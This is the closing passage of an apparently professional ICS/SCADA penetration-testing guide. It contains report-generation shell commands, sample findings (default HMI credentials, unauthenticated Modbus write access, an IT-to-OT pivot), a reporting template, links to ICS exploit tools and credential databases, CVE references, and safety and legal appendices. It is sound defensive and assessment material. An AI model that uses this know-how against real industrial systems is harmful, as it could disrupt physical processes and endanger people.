cd ~/engagements/$(date +%Y%m%d)-scada-assessment

# Create finding summary
cat > report/findings-summary.md << 'EOF'
# ICS/SCADA Assessment Findings

## Engagement: $ENGAGEMENT_ID
## Date: $(date)
## Assessor: [Name]
## Authorized by: [Name, Title]

## Critical Findings

### CF-01: Default Credentials on HMI
- Host: HMI_HOST
- Protocol: HTTP
- Credential: admin/admin
- Impact: Full read/write access to process visualization and control
- MITRE ATT&CK ICS: T0810 (Data Historian Compromise), T0823 (Graphical User Interface)

### CF-02: Unauthenticated Modbus Access from Corporate Network
- Source: IT network (segmentation failure)
- Destination: PLC_HOST:502
- Protocol: Modbus TCP
- Impact: Direct PLC register read/write with no authentication required
- MITRE ATT&CK ICS: T0836 (Modify Parameter), T0855 (Unauthorized Command Message)

### CF-03: Dual-Homed Historian Enables IT-to-OT Pivot
- Host: HISTORIAN_HOST
- IT NIC: [IP]
- OT NIC: [IP]
- Impact: Single workstation compromise enables full OT network access
- MITRE ATT&CK ICS: T0886 (Remote Services)
EOF

# Hash all evidence files for chain of custody
sha256sum evidence/* exploit/* scan/* recon/* > report/evidence-hashes.txt
gpg --sign report/evidence-hashes.txt

# Package deliverables
tar czf /secure-storage/$ENGAGEMENT_ID-evidence.tar.gz \
  ~/engagements/$(date +%Y%m%d)-scada-assessment/
```

### Reporting Template Fields

For each finding, document:
1. **Finding ID** — sequential (CF-01, CF-02...)
2. **Title** — concise one-line description
3. **Severity** — Critical / High / Medium / Low / Informational
4. **CVSS v3.1 Score** — calculated with AV:A or AV:N as appropriate
5. **MITRE ATT&CK for ICS** — technique and tactic mapping
6. **Affected Asset** — hostname, IP, vendor, model, firmware version
7. **Protocol** — Modbus, S7, OPC-UA, HTTP, etc.
8. **Evidence** — packet capture file, screenshot, command output
9. **Reproduction Steps** — exact commands to reproduce
10. **Business Impact** — physical consequence (process deviation, equipment damage, safety risk)
11. **Recommendation** — specific, actionable remediation with vendor reference

---

## 8. Resources and References

### Frameworks and Standards

- MITRE ATT&CK for ICS: https://attack.mitre.org/matrices/ics/
- ICS-CERT Advisories: https://www.cisa.gov/ics-advisories
- NIST SP 800-82 Rev 3 (Guide to OT Security): https://csrc.nist.gov/publications/detail/sp/800-82/rev-3/final
- IEC 62443 (Industrial Cybersecurity): https://www.iec.ch/icsecurity
- NERC CIP Standards: https://www.nerc.com/pa/Stand/Pages/CIPStandards.aspx

### Tools and Repositories

| Tool | URL | Purpose |
|---|---|---|
| ISF (Industrial Security Framework) | https://github.com/w3h/isf | ICS exploit framework |
| Redpoint NSE Scripts | https://github.com/digitalbond/Redpoint | Nmap ICS scripts |
| PLCscan | https://github.com/meeas/plcscan | PLC protocol scanner |
| s7scan | https://github.com/klsecservices/s7scan | Siemens S7 scanner |
| pymodbus | https://github.com/pymodbus-dev/pymodbus | Modbus Python library |
| python-snap7 | https://github.com/gijzelaerr/python-snap7 | S7 Python library |
| opcua-asyncio | https://github.com/FreeOpcUa/opcua-asyncio | OPC-UA Python library |
| cpppo | https://github.com/pjkundert/cpppo | EtherNet/IP library |
| ICS Default Credentials | https://github.com/arnaudsoullie/ics-default-credentials | Credential database |
| GrassMarlin | https://github.com/nsacyber/GRASSMARLIN | Passive ICS topology mapper |
| SCAPY ICS layers | https://github.com/secdev/scapy | Protocol crafting |
| ModbusPal | https://sourceforge.net/projects/modbuspal/ | Modbus simulator |
| OpenPLC | https://github.com/thiagoralves/OpenPLC_Runtime | Open-source PLC for labs |

### Training and Reference Material

- ICS Security Training (Idaho National Laboratory CSET): https://github.com/cisagov/cset
- Hack The Box ICS/SCADA Labs: https://www.hackthebox.com/hacker/hacking-labs
- PentesterAcademy ICS Security: https://www.pentesteracademy.com/course?id=52
- VulnHub ICS VMs: https://www.vulnhub.com/?q=scada
- SCADA Hacker: https://scadahacker.com/resources.html
- Claroty Research: https://claroty.com/team82/research
- Dragos ICS/OT Reports: https://www.dragos.com/resources/
- S4 Conference Proceedings: https://www.digitalbond.com/s4/

### CVE References for Common ICS Products

- Siemens SINEC NMS (CVE-2022-35863): Command injection
- Aveva InTouch (CVE-2022-37300): Path traversal
- Rockwell FactoryTalk (CVE-2022-1159): DLL hijacking
- GE iFIX (CVE-2021-27452): Privilege escalation
- Schneider EcoStruxure (CVE-2021-22716): Unauthenticated command
- Honeywell Experion (CVE-2023-24474): Buffer overflow in ENIP parsing

---

## 9. Safety Appendix — Emergency Procedures

### If a Device Becomes Unresponsive During Testing

1. **Stop all testing immediately** — kill all scan processes: `kill $CAPTURE_PID; pkill nmap; pkill python3`
2. **Notify operations staff** using pre-established out-of-band channel (radio or phone — not OT network)
3. **Do not attempt recovery yourself** — physical restart of PLCs requires site personnel
4. **Document the last command executed** with timestamp
5. **Preserve packet capture** — do not delete or modify any captured traffic

### Process Anomaly Response

If a physical process deviation occurs (pressure, temperature, flow reading changes unexpectedly):

1. Immediately cease all active testing
2. Contact the process engineer via emergency phone
3. Do not attempt to correct the process via HMI — site personnel only
4. Provide packet capture to engineering team for root cause analysis

### Legal Reminder

Unauthorized access to ICS systems is a federal crime under 18 U.S.C. § 1030 (CFAA) and may also violate critical infrastructure protection laws. In OT environments, disruption of operations may additionally trigger charges under sabotage statutes. Ensure written authorization is on your person at all times during physical site access.
